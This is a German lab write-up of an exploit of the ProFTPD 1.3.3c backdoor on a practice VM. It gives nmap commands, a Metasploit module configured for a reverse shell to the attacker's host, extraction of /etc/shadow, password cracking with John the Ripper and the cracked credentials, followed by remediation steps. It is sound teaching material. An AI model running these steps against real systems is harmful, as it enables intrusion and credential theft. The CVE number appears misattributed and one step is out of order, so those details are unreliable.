
Penetrationstest-Durchlauf auf einer verwundbaren Ubuntu-VM. Ausgenutzt wurde die ProFTPD 1.3.3c Hintertür (CVE-2010-4221), um Root-Zugriff zu erlangen und die Flagge zu erobern. Beinhaltet Nmap-Enumeration, Metasploit-Payload-Setup und Benutzer-Hash-Cracking (John the Ripper).
Offensive Security Lab : ProFTPD 1.3.3c Backdoor-Exploit (Root-Flagge)
Dieser Bericht beschreibt den Penetrationstest, der auf einer verwundbaren Linux-Virtual-Machine (VM) durchgeführt wurde, mit dem Fokus auf die Identifizierung einer hochriskanten Dienst-Sicherheitslücke, die sofortigen Root-Zugriff ermöglichte.
| Detail | Wert |
|---|---|
| Ziel-IP-Adresse | [ 192.168.222.130] |
| Angreifer-IP-Adresse (LHOST) | [ 192.168.222.128] |
| Ziel-Betriebssystem | Ubuntu 4ubuntu2.2 (Linux Kernel 3.x) |
| Ziel | Erlangen einer Root-Shell und Abrufen der Flag-Datei. |
Die anfängliche Aufklärung umfasste einen Service-Scan mit Nmap, um offene Ports und Dienstversionen zu identifizieren.
Befehl:
sudo nmap -sS -sV 192.168.222.130
Wichtige Erkenntnisse: | Port | Dienst | Version | Risiko | | :--- | :--- | :--- | :--- | 21/tcp | ftp | ProFTPD 1.3.3c | KRITISCH (Ausnutzbare Backdoor) | | 22/tcp | ssh | OpenSSH 7.2p2 | Niedrig (Standarddienst) | | 80/tcp | http | Apache httpd 2.4.18 | Niedrig (Keine offensichtliche Websicherheitslücke gefunden) |
Ein anschließender Schwachstellen-Skript-Scan bestätigte die Existenz einer hochkritischen Backdoor im FTP-Dienst. Die Nmap-Skriptausgabe zeigte explizit die Befehlsausführung als Root-Benutzer:
| ftp-proftpd-backdoor: | Diese Installation wurde mit einer Backdoor versehen. | Befehl: id |_ Ergebnisse: uid=0(root) gid=0(root) groups=0(root)...
Das Metasploit-Framework wurde verwendet, um die bestätigte ProFTPD-Backdoor auszunutzen.
Exploit-Schritte: Metasploit starten: msfconsole
Exploit-Modul auswählen: use exploit/unix/ftp/proftpd_133c_backdoor
Optionen setzen:
Bash
set RHOSTS 192.168.222.130 set PAYLOAD cmd/unix/reverse set LHOST 192.168.222.128
Ergebnis: Eine Befehlsshell-Sitzung wurde erfolgreich hergestellt, die sofortige Root-Rechte gewährte (uid=0).
Ernte von Anmeldeinformationen
Die Benutzer-Hashes des Systems wurden aus /etc/shadow zur Post-Exploitation-Analyse extrahiert. Der Hash des Benutzers marlinspike wurde erfolgreich mit John the Ripper geknackt.
Verwendeter Befehl (auf Angreifermaschine):
Bash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Geknackte Anmeldeinformationen:
Benutzer: marlinspike
Passwort: marlinspike
Die Sicherheitslage des Systems ist aufgrund des kompromittierten FTP-Dienstes extrem schwach. Es müssen sofort Maßnahmen ergriffen werden, um das System zu sichern:
Sofortiges Patchen/Upgrade: Der ProFTPD-Dienst muss sofort auf eine sichere Version (größer als 1.3.3g) aktualisiert werden, um die bekannte Backdoor und zugehörige CVEs zu beheben.
Dienstentfernung: Wenn FTP für die Funktion des Systems nicht erforderlich ist, sollte der Dienst vollständig entfernt werden.
Firewall: Implementieren Sie strenge Firewall-Regeln (iptables/ufw), um externen Zugriff auf Port 21 zu blockieren.
Sichere SSH-Konfigurationen: Überprüfen Sie die SSH-Konfigurationen, um die Root-Anmeldung zu deaktivieren und schlüsselbasierte Authentifizierung zu erzwingen. Ausführen: exploit